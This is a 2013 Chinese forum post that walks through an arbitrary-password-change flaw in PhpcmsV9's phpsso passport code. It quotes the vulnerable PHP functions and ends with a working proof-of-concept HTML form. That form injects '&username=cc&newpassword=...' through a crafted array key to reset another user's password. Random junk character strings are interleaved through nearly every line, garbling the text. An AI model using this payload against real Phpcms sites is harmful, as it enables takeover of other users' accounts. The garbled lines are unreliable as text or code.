找回密码
 立即注册
查看: 2469|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
9 J2 i6 \& ^& a, ~) x" N8 L" d5 x9 ?& w8 q* b$ a. y
3 K% |$ @# _$ N
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' y4 y; L' s( e# S' f  w* @
- X* g' c& o. k% ~在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
  K4 }& h" I1 [3 Y" W: E) r
$ Z1 h$ n) a  O4 R% N' B3 c: Q, j4 K我把它留给了你们。
1 P7 z3 A- h  M3 _9 i不知道你们发现了它没有。
# s# h1 G$ f. N, q' T5 z: }
8 C! z# M3 @7 s) F7 p我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。' ~8 M8 B9 K; E* K9 u6 x9 X
+ a! t  m. Q* [; }% u1 ?
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。2 }, x" P! ~! A1 l

" e* h/ A+ ~2 {也就是7 s' C& Q. m$ Z+ a3 X
* n1 Q" R; X6 y" N* \  R: [9 h
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。7 y7 W; {$ H+ }( [! M

, h$ `( O2 ~- x6 |  e4 ^4 A; t4 c& A要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
7 M, ?, U' _) G' K$ {2 ^  ^6 Y. p" f& k

& s' v; b5 W, c$ u其实我们有这样的机会,看看代码,如下:7 |6 y) M6 a* X9 @% ]% _& ]

- F# n/ \8 m' v6 Q
6 a+ H5 c' C9 y; n3 f; d* kpublic function auth_data($data) {/ q  C: S. [4 k- ?' E
                $s = $sep = '';$ W2 P+ z6 P# h
                foreach($data as $k => $v) {
- B9 c4 q0 F* j. d+ r                        if(is_array($v)) {
+ J/ [- |- g  b0 S, F                                $s2 = $sep2 = '';
  l9 z9 H5 w' s0 u2 K. Q                                foreach($v as $k2 => $v2) {; E2 E( Q5 x& g9 x7 C2 X
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
) r5 T  ~# O6 B                                        $sep2 = '&';" T9 s; u' M. {: Y+ P$ V
                                }: s7 v+ q* s2 X
                                $s .= $sep.$s2;
) Y7 B5 r2 |0 X- h" b6 o                        } else {; B" a; \4 E, o) [% G$ q- m; C( f* ?
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);8 D& I5 [2 }& r+ n) p) ]3 u
                        }( u" I' m, y8 F9 X: ~
                        $sep = '&';
8 x( T+ _# u0 L& ~* Q                }
1 _4 D3 n* H! v& j5 D- v( @  ^9 B7 s' i4 A% B/ ?$ k3 [3 u
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
; b* Y/ O; X) `  j1 u% ]                return $auth_s;  ~6 G3 ~8 m, l! }( x& n' C
        }3 C* I$ `: s6 ?- E! L0 G

# j' ?- ~) j5 R( [可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。* a' P) ~9 A) p7 m) I# q

7 L6 S0 d8 J) A/ X/ y" F, {举个例子
! \+ L& F6 z. z" i4 a( e1 f- x7 [! U$ W1 X
$a[aaa=a&bbb] = 'a';
4 ~; h; ~( P% i4 e$ O* H, }
4 D, t( I; P8 v; J* v# a7 p会变成aaa=a&bbb=a; @6 Y- X1 n+ H4 @$ r/ s6 m* x, [

! p% K2 I2 |5 h明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
$ S' f! V" ^1 A/ i2 z4 v( t( G; U* }( s# |- k5 u: n' Q
这个时候,我们可以再去看一个函数。
6 \* {5 u% ~: Q7 g- N5 y3 r/ ^  X( J" Z# X  Z
就在这个文件内:
, c$ `: ^, w: u. D3 T6 J# T: [6 \% o9 b) l6 X8 \' w3 F

9 w3 @: @/ S6 T- N" Epublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
* M. O$ q, ~$ J" I7 B, O                if($email && !$this->_is_email($email)) {+ R. M: `! z6 w" _
                        return -4;
" q& O% |; I8 m. Y9 @                }
, _. l2 q- w0 S                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));! U* X7 L7 ~" ^& J1 Q; }
        }: b8 K, p6 R5 C5 B( c
! C9 w* T' W# ?3 r  w3 N* z4 t
这是向通行证发了这样一个请求。
6 ]6 H% Z- r: I- C) i: q8 l; o/ {7 x" a
我们再跟到通信证代码里去看看,就会有所发现。
2 m8 s5 @6 ?; V: R2 q8 }9 n/ w% p0 i! ~
5 ]. \  ?: V- W3 D) p9 W, E
public function edit() {& U7 R0 x4 f) L  L7 h& J) I+ X
//能省就省,太长了不是吗?- o! Y( B* l$ E# b- }
6 S! V" }7 [& R8 _
if($this->username) {
. [% n3 ^. ?; R: ~, J9 i$ k' B//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。$ ^6 ~1 d3 c2 E" S7 L  s
                                $res = $this->db->update($data, array('username'=>$this->username));4 E. K1 r3 @! T  ]
                        } else {" _- _" _. ~2 v/ `: f
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);1 b3 y" m6 c6 M* o! f2 c3 p2 X
                                $res = $this->db->update($data, array('uid'=>$this->uid));! O' h! X+ o. ]+ b' W. u% Z* a" f
                        }
% X/ X1 o( m6 t* x  n& e$ P0 x8 ~
4 I  E. c# v9 z' U1 h! `好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 }) Z5 R! S" q
7 t' `, H2 D9 a2 bpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')( d. }! A, D% Y' F( h' N: m) ?

9 b4 K& b" E2 {6 p: m很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。( p; ?; G" P; o4 h2 g

3 l( R5 g$ w1 t9 E; s/ h  `9 Y我当然找到了:
# d9 {- T: e& q* t! jphpcms9/phpcms/modules/member/index.php* n1 b% `: C# V" m
4 Z) K# ?$ x1 S$ Z, t# ]: j
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
. e5 h: |. T& ?
+ M! k; ?! L7 d2 I6 B$ E然后就没有然后了。: |) E9 ]8 ^2 S$ p) |6 M9 N

1 B/ C8 U3 N  \<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 a0 X, H9 A8 e' ~0 @                                <table width="100%" cellspacing="0" class="table_form">( c* Q3 j6 t( J) p5 B9 c
                                        <tr>
2 p; t4 N2 T3 a% C9 m6 X                                                <th width="80">邮箱:</th>        & E' A$ K8 u' i. C3 ^
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- {9 T4 K% S/ x; w: p
                                        </tr>, P! h9 B$ ?( J, g; ~% N7 m- T) m: ~5 t
                                        <tr>
: L/ g$ v8 B5 M- U                                                <th width="80">原密码:</th>        ' D! s; M& f3 t' T3 I2 J) r
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>: f; ]7 K+ X6 Q
                                        </tr>
1 F' ~( |9 ~! N$ b# t- f3 e" v                                        <tr>
# x1 ?( H8 }1 y7 K1 M                                                <th>新密码:</th>
$ U( R8 h5 ?- |                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
5 G# ~" c" Q0 h+ _0 `                                        </tr>
% c% @' A  U1 J2 Z) g) Y, l: x$ n                                        <th></th>4 F! b+ w) d, I- c6 Q
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>% d7 o$ i  {6 w2 i
                                        </tr>% S3 t% Z* R2 i" s, c' c
                                </table>& R  r) b, f: m7 O
" m8 C. {1 v2 m
                               
6 O1 F  R  E. `- c                        </form>
# I8 H0 |# }4 `( Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表